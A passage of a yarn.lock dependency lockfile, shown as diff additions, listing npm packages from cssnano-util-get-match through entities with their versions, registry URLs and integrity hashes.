"https://registry.yarnpkg.com/cssnano-util-get-match/-/cssnano-util-get-match-4.0.0.tgz#c0e4ca07f5386bb17ec5e52250b4f5961365156d" + integrity sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0= + +cssnano-util-raw-cache@^4.0.1: + version "4.0.1" + resolved "https://registry.yarnpkg.com/cssnano-util-raw-cache/-/cssnano-util-raw-cache-4.0.1.tgz#b26d5fd5f72a11dfe7a7846fb4c67260f96bf282" + integrity sha512-qLuYtWK2b2Dy55I8ZX3ky1Z16WYsx544Q0UWViebptpwn/xDBmog2TLg4f+DBMg1rJ6JDWtn96WHbOKDWt1WQA== + dependencies: + postcss "^7.0.0" + +cssnano-util-same-parent@^4.0.0: + version "4.0.1" + resolved "https://registry.yarnpkg.com/cssnano-util-same-parent/-/cssnano-util-same-parent-4.0.1.tgz#574082fb2859d2db433855835d9a8456ea18bbf3" + integrity sha512-WcKx5OY+KoSIAxBW6UBBRay1U6vkYheCdjyVNDm85zt5K9mHoGOfsOsqIszfAqrQQFIIKgjh2+FDgIj/zsl21Q== + +cssnano@^4.1.10: + version "4.1.10" + resolved "https://registry.yarnpkg.com/cssnano/-/cssnano-4.1.10.tgz#0ac41f0b13d13d465487e111b778d42da631b8b2" + integrity sha512-5wny+F6H4/8RgNlaqab4ktc3e0/blKutmq8yNlBFXA//nSFFAqAngjNVRzUvCgYROULmZZUoosL/KSoZo5aUaQ== + dependencies: + cosmiconfig "^5.0.0" + cssnano-preset-default "^4.0.7" + is-resolvable "^1.0.0" + postcss "^7.0.0" + +csso@^4.0.2: + version "4.2.0" + resolved "https://registry.yarnpkg.com/csso/-/csso-4.2.0.tgz#ea3a561346e8dc9f546d6febedd50187cf389529" + integrity sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA== + dependencies: + css-tree "^1.1.2" + +cssom@^0.4.4: + version "0.4.4" + resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.4.4.tgz#5a66cf93d2d0b661d80bf6a44fb65f5c2e4e0a10" + integrity sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw== + +cssom@~0.3.6: + version "0.3.8" + resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.3.8.tgz#9f1276f5b2b463f2114d3f2c75250af8c1a36f4a" + integrity sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg== + +cssstyle@^2.2.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/cssstyle/-/cssstyle-2.3.0.tgz#ff665a0ddbdc31864b09647f34163443d90b0852" + integrity sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A== + dependencies: + cssom "~0.3.6" + +cyclist@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/cyclist/-/cyclist-1.0.1.tgz#596e9698fd0c80e12038c2b82d6eb1b35b6224d9" + integrity sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk= + +d@1, d@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/d/-/d-1.0.1.tgz#8698095372d58dbee346ffd0c7093f99f8f9eb5a" + integrity sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA== + dependencies: + es5-ext "^0.10.50" + type "^1.0.1" + +damerau-levenshtein@^1.0.6: + version "1.0.6" + resolved "https://registry.yarnpkg.com/damerau-levenshtein/-/damerau-levenshtein-1.0.6.tgz#143c1641cb3d85c60c32329e26899adea8701791" + integrity sha512-JVrozIeElnj3QzfUIt8tB8YMluBJom4Vw9qTPpjGYQ9fYlB3D/rb6OordUxf3xeFB35LKWs0xqcO5U6ySvBtug== + +dashdash@^1.12.0: + version "1.14.1" + resolved "https://registry.yarnpkg.com/dashdash/-/dashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0" + integrity sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA= + dependencies: + assert-plus "^1.0.0" + +data-urls@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/data-urls/-/data-urls-2.0.0.tgz#156485a72963a970f5d5821aaf642bef2bf2db9b" + integrity sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ== + dependencies: + abab "^2.0.3" + whatwg-mimetype "^2.3.0" + whatwg-url "^8.0.0" + +debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.0, debug@^2.6.9: + version "2.6.9" + resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f" + integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA== + dependencies: + ms "2.0.0" + +debug@^3.1.1, debug@^3.2.6: + version "3.2.7" + resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a" + integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ== + dependencies: + ms "^2.1.1" + +debug@^4.0.1, debug@^4.1.0, debug@^4.1.1: + version "4.3.1" + resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee" + integrity sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ== + dependencies: + ms "2.1.2" + +decamelize@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290" + integrity sha1-9lNNFRSCabIDUue+4m9QH5oZEpA= + +decimal.js@^10.2.0: + version "10.2.1" + resolved "https://registry.yarnpkg.com/decimal.js/-/decimal.js-10.2.1.tgz#238ae7b0f0c793d3e3cea410108b35a2c01426a3" + integrity sha512-KaL7+6Fw6i5A2XSnsbhm/6B+NuEA7TZ4vqxnd5tXz9sbKtrN9Srj8ab4vKVdK8YAqZO9P1kg45Y6YLoduPf+kw== + +decode-uri-component@^0.2.0: + version "0.2.0" + resolved "https://registry.yarnpkg.com/decode-uri-component/-/decode-uri-component-0.2.0.tgz#eb3913333458775cb84cd1a1fae062106bb87545" + integrity sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU= + +dedent@^0.7.0: + version "0.7.0" + resolved "https://registry.yarnpkg.com/dedent/-/dedent-0.7.0.tgz#2495ddbaf6eb874abb0e1be9df22d2e5a544326c" + integrity sha1-JJXduvbrh0q7Dhvp3yLS5aVEMmw= + +deep-equal@^1.0.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/deep-equal/-/deep-equal-1.1.1.tgz#b5c98c942ceffaf7cb051e24e1434a25a2e6076a" + integrity sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g== + dependencies: + is-arguments "^1.0.4" + is-date-object "^1.0.1" + is-regex "^1.0.4" + object-is "^1.0.1" + object-keys "^1.1.1" + regexp.prototype.flags "^1.2.0" + +deep-is@^0.1.3, deep-is@~0.1.3: + version "0.1.3" + resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34" + integrity sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ= + +deepmerge@^4.2.2: + version "4.2.2" + resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.2.2.tgz#44d2ea3679b8f4d4ffba33f03d865fc1e7bf4955" + integrity sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg== + +default-gateway@^4.2.0: + version "4.2.0" + resolved "https://registry.yarnpkg.com/default-gateway/-/default-gateway-4.2.0.tgz#167104c7500c2115f6dd69b0a536bb8ed720552b" + integrity sha512-h6sMrVB1VMWVrW13mSc6ia/DwYYw5MN6+exNu1OaJeFac5aSAvwM7lZ0NVfTABuSkQelr4h5oebg3KB1XPdjgA== + dependencies: + execa "^1.0.0" + ip-regex "^2.1.0" + +define-properties@^1.1.2, define-properties@^1.1.3: + version "1.1.3" + resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1" + integrity sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ== + dependencies: + object-keys "^1.0.12" + +define-property@^0.2.5: + version "0.2.5" + resolved "https://registry.yarnpkg.com/define-property/-/define-property-0.2.5.tgz#c35b1ef918ec3c990f9a5bc57be04aacec5c8116" + integrity sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY= + dependencies: + is-descriptor "^0.1.0" + +define-property@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/define-property/-/define-property-1.0.0.tgz#769ebaaf3f4a63aad3af9e8d304c9bbe79bfb0e6" + integrity sha1-dp66rz9KY6rTr56NMEybvnm/sOY= + dependencies: + is-descriptor "^1.0.0" + +define-property@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/define-property/-/define-property-2.0.2.tgz#d459689e8d654ba77e02a817f8710d702cb16e9d" + integrity sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ== + dependencies: + is-descriptor "^1.0.2" + isobject "^3.0.1" + +defined@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/defined/-/defined-1.0.0.tgz#c98d9bcef75674188e110969151199e39b1fa693" + integrity sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM= + +del@^4.1.1: + version "4.1.1" + resolved "https://registry.yarnpkg.com/del/-/del-4.1.1.tgz#9e8f117222ea44a31ff3a156c049b99052a9f0b4" + integrity sha512-QwGuEUouP2kVwQenAsOof5Fv8K9t3D8Ca8NxcXKrIpEHjTXK5J2nXLdP+ALI1cgv8wj7KuwBhTwBkOZSJKM5XQ== + dependencies: + "@types/glob" "^7.1.1" + globby "^6.1.0" + is-path-cwd "^2.0.0" + is-path-in-cwd "^2.0.0" + p-map "^2.0.0" + pify "^4.0.1" + rimraf "^2.6.3" + +delayed-stream@~1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619" + integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk= + +depd@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9" + integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak= + +des.js@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/des.js/-/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843" + integrity sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA== + dependencies: + inherits "^2.0.1" + minimalistic-assert "^1.0.0" + +destroy@~1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80" + integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA= + +detect-newline@^3.0.0: + version "3.1.0" + resolved "https://registry.yarnpkg.com/detect-newline/-/detect-newline-3.1.0.tgz#576f5dfc63ae1a192ff192d8ad3af6308991b651" + integrity sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA== + +detect-node@^2.0.4: + version "2.0.4" + resolved "https://registry.yarnpkg.com/detect-node/-/detect-node-2.0.4.tgz#014ee8f8f669c5c58023da64b8179c083a28c46c" + integrity sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw== + +detect-port-alt@1.1.6: + version "1.1.6" + resolved "https://registry.yarnpkg.com/detect-port-alt/-/detect-port-alt-1.1.6.tgz#24707deabe932d4a3cf621302027c2b266568275" + integrity sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q== + dependencies: + address "^1.0.1" + debug "^2.6.0" + +detective@^5.2.0: + version "5.2.0" + resolved "https://registry.yarnpkg.com/detective/-/detective-5.2.0.tgz#feb2a77e85b904ecdea459ad897cc90a99bd2a7b" + integrity sha512-6SsIx+nUUbuK0EthKjv0zrdnajCCXVYGmbYYiYjFVpzcjwEs/JMDZ8tPRG29J/HhN56t3GJp2cGSWDRjjot8Pg== + dependencies: + acorn-node "^1.6.1" + defined "^1.0.0" + minimist "^1.1.1" + +didyoumean@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/didyoumean/-/didyoumean-1.2.1.tgz#e92edfdada6537d484d73c0172fd1eba0c4976ff" + integrity sha1-6S7f2tplN9SE1zwBcv0eugxJdv8= + +diff-sequences@^26.6.2: + version "26.6.2" + resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-26.6.2.tgz#48ba99157de1923412eed41db6b6d4aa9ca7c0b1" + integrity sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q== + +diffie-hellman@^5.0.0: + version "5.0.3" + resolved "https://registry.yarnpkg.com/diffie-hellman/-/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875" + integrity sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg== + dependencies: + bn.js "^4.1.0" + miller-rabin "^4.0.0" + randombytes "^2.0.0" + +dir-glob@^3.0.1: + version "3.0.1" + resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-3.0.1.tgz#56dbf73d992a4a93ba1584f4534063fd2e41717f" + integrity sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA== + dependencies: + path-type "^4.0.0" + +dlv@^1.1.3: + version "1.1.3" + resolved "https://registry.yarnpkg.com/dlv/-/dlv-1.1.3.tgz#5c198a8a11453596e751494d49874bc7732f2e79" + integrity sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA== + +dns-equal@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/dns-equal/-/dns-equal-1.0.0.tgz#b39e7f1da6eb0a75ba9c17324b34753c47e0654d" + integrity sha1-s55/HabrCnW6nBcySzR1PEfgZU0= + +dns-packet@^1.3.1: + version "1.3.1" + resolved "https://registry.yarnpkg.com/dns-packet/-/dns-packet-1.3.1.tgz#12aa426981075be500b910eedcd0b47dd7deda5a" + integrity sha512-0UxfQkMhYAUaZI+xrNZOz/as5KgDU0M/fQ9b6SpkyLbk3GEswDi6PADJVaYJradtRVsRIlF1zLyOodbcTCDzUg== + dependencies: + ip "^1.1.0" + safe-buffer "^5.0.1" + +dns-txt@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/dns-txt/-/dns-txt-2.0.2.tgz#b91d806f5d27188e4ab3e7d107d881a1cc4642b6" + integrity sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY= + dependencies: + buffer-indexof "^1.0.0" + +doctrine@1.5.0: + version "1.5.0" + resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-1.5.0.tgz#379dce730f6166f76cefa4e6707a159b02c5a6fa" + integrity sha1-N53Ocw9hZvds76TmcHoVmwLFpvo= + dependencies: + esutils "^2.0.2" + isarray "^1.0.0" + +doctrine@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-2.1.0.tgz#5cd01fc101621b42c4cd7f5d1a66243716d3f39d" + integrity sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw== + dependencies: + esutils "^2.0.2" + +doctrine@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961" + integrity sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w== + dependencies: + esutils "^2.0.2" + +dom-accessibility-api@^0.5.6: + version "0.5.6" + resolved "https://registry.yarnpkg.com/dom-accessibility-api/-/dom-accessibility-api-0.5.6.tgz#3f5d43b52c7a3bd68b5fb63fa47b4e4c1fdf65a9" + integrity sha512-DplGLZd8L1lN64jlT27N9TVSESFR5STaEJvX+thCby7fuCHonfPpAlodYc3vuUYbDuDec5w8AMP7oCM5TWFsqw== + +dom-converter@^0.2: + version "0.2.0" + resolved "https://registry.yarnpkg.com/dom-converter/-/dom-converter-0.2.0.tgz#6721a9daee2e293682955b6afe416771627bb768" + integrity sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA== + dependencies: + utila "~0.4" + +dom-serializer@0: + version "0.2.2" + resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-0.2.2.tgz#1afb81f533717175d478655debc5e332d9f9bb51" + integrity sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g== + dependencies: + domelementtype "^2.0.1" + entities "^2.0.0" + +domain-browser@^1.1.1: + version "1.2.0" + resolved "https://registry.yarnpkg.com/domain-browser/-/domain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda" + integrity sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA== + +domelementtype@1, domelementtype@^1.3.1: + version "1.3.1" + resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f" + integrity sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w== + +domelementtype@^2.0.1: + version "2.1.0" + resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.1.0.tgz#a851c080a6d1c3d94344aed151d99f669edf585e" + integrity sha512-LsTgx/L5VpD+Q8lmsXSHW2WpA+eBlZ9HPf3erD1IoPF00/3JKHZ3BknUVA2QGDNu69ZNmyFmCWBSO45XjYKC5w== + +domexception@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/domexception/-/domexception-2.0.1.tgz#fb44aefba793e1574b0af6aed2801d057529f304" + integrity sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg== + dependencies: + webidl-conversions "^5.0.0" + +domhandler@^2.3.0: + version "2.4.2" + resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-2.4.2.tgz#8805097e933d65e85546f726d60f5eb88b44f803" + integrity sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA== + dependencies: + domelementtype "1" + +domutils@^1.5.1, domutils@^1.7.0: + version "1.7.0" + resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a" + integrity sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg== + dependencies: + dom-serializer "0" + domelementtype "1" + +dot-case@^3.0.4: + version "3.0.4" + resolved "https://registry.yarnpkg.com/dot-case/-/dot-case-3.0.4.tgz#9b2b670d00a431667a8a75ba29cd1b98809ce751" + integrity sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w== + dependencies: + no-case "^3.0.4" + tslib "^2.0.3" + +dot-prop@^5.2.0: + version "5.3.0" + resolved "https://registry.yarnpkg.com/dot-prop/-/dot-prop-5.3.0.tgz#90ccce708cd9cd82cc4dc8c3ddd9abdd55b20e88" + integrity sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q== + dependencies: + is-obj "^2.0.0" + +dotenv-expand@5.1.0: + version "5.1.0" + resolved "https://registry.yarnpkg.com/dotenv-expand/-/dotenv-expand-5.1.0.tgz#3fbaf020bfd794884072ea26b1e9791d45a629f0" + integrity sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA== + +dotenv@8.2.0: + version "8.2.0" + resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-8.2.0.tgz#97e619259ada750eea3e4ea3e26bceea5424b16a" + integrity sha512-8sJ78ElpbDJBHNeBzUbUVLsqKdccaa/BXF1uPTw3GrvQTBgrQrtObr2mUrE38vzYd8cEv+m/JBfDLioYcfXoaw== + +duplexer@^0.1.1: + version "0.1.2" + resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6" + integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg== + +duplexify@^3.4.2, duplexify@^3.6.0: + version "3.7.1" + resolved "https://registry.yarnpkg.com/duplexify/-/duplexify-3.7.1.tgz#2a4df5317f6ccfd91f86d6fd25d8d8a103b88309" + integrity sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g== + dependencies: + end-of-stream "^1.0.0" + inherits "^2.0.1" + readable-stream "^2.0.0" + stream-shift "^1.0.0" + +ecc-jsbn@~0.1.1: + version "0.1.2" + resolved "https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz#3a83a904e54353287874c564b7549386849a98c9" + integrity sha1-OoOpBOVDUyh4dMVkt1SThoSamMk= + dependencies: + jsbn "~0.1.0" + safer-buffer "^2.1.0" + +ee-first@1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d" + integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0= + +ejs@^2.6.1: + version "2.7.4" + resolved "https://registry.yarnpkg.com/ejs/-/ejs-2.7.4.tgz#48661287573dcc53e366c7a1ae52c3a120eec9ba" + integrity sha512-7vmuyh5+kuUyJKePhQfRQBhXV5Ce+RnaeeQArKu1EAMpL3WbgMt5WG6uQZpEVvYSSsxMXRKOewtDk9RaTKXRlA== + +electron-to-chromium@^1.3.564, electron-to-chromium@^1.3.649: + version "1.3.671" + resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.671.tgz#8feaed6eae42d279fa4611f58c42a5a1eb81b2a0" + integrity sha512-RTD97QkdrJKaKwRv9h/wGAaoR2lGxNXEcBXS31vjitgTPwTWAbLdS7cEsBK68eEQy7p6YyT8D5BxBEYHu2SuwQ== + +elliptic@^6.5.3: + version "6.5.4" + resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.4.tgz#da37cebd31e79a1367e941b592ed1fbebd58abbb" + integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ== + dependencies: + bn.js "^4.11.9" + brorand "^1.1.0" + hash.js "^1.0.0" + hmac-drbg "^1.0.1" + inherits "^2.0.4" + minimalistic-assert "^1.0.1" + minimalistic-crypto-utils "^1.0.1" + +emittery@^0.7.1: + version "0.7.2" + resolved "https://registry.yarnpkg.com/emittery/-/emittery-0.7.2.tgz#25595908e13af0f5674ab419396e2fb394cdfa82" + integrity sha512-A8OG5SR/ij3SsJdWDJdkkSYUjQdCUx6APQXem0SaEePBSRg4eymGYwBkKo1Y6DU+af/Jn2dBQqDBvjnr9Vi8nQ== + +emoji-regex@^7.0.1: + version "7.0.3" + resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-7.0.3.tgz#933a04052860c85e83c122479c4748a8e4c72156" + integrity sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA== + +emoji-regex@^8.0.0: + version "8.0.0" + resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37" + integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A== + +emoji-regex@^9.0.0: + version "9.2.1" + resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.1.tgz#c9b25604256bb3428964bead3ab63069d736f7ee" + integrity sha512-117l1H6U4X3Krn+MrzYrL57d5H7siRHWraBs7s+LjRuFK7Fe7hJqnJ0skWlinqsycVLU5YAo6L8CsEYQ0V5prg== + +emojis-list@^2.0.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-2.1.0.tgz#4daa4d9db00f9819880c79fa457ae5b09a1fd389" + integrity sha1-TapNnbAPmBmIDHn6RXrlsJof04k= + +emojis-list@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78" + integrity sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q== + +encodeurl@~1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59" + integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k= + +end-of-stream@^1.0.0, end-of-stream@^1.1.0: + version "1.4.4" + resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0" + integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q== + dependencies: + once "^1.4.0" + +enhanced-resolve@^4.3.0: + version "4.5.0" + resolved "https://registry.yarnpkg.com/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz#2f3cfd84dbe3b487f18f2db2ef1e064a571ca5ec" + integrity sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg== + dependencies: + graceful-fs "^4.1.2" + memory-fs "^0.5.0" + tapable "^1.0.0" + +enquirer@^2.3.5: + version "2.3.6" + resolved "https://registry.yarnpkg.com/enquirer/-/enquirer-2.3.6.tgz#2a7fe5dd634a1e4125a975ec994ff5456dc3734d" + integrity sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg== + dependencies: + ansi-colors "^4.1.1" + +entities@^1.1.1: + version "1.1.2" + resolved "https://registry.yarnpkg.com/entities/-/entities-1.1.2.tgz#bdfa735299664dfafd34529ed4f8522a275fea56" + integrity 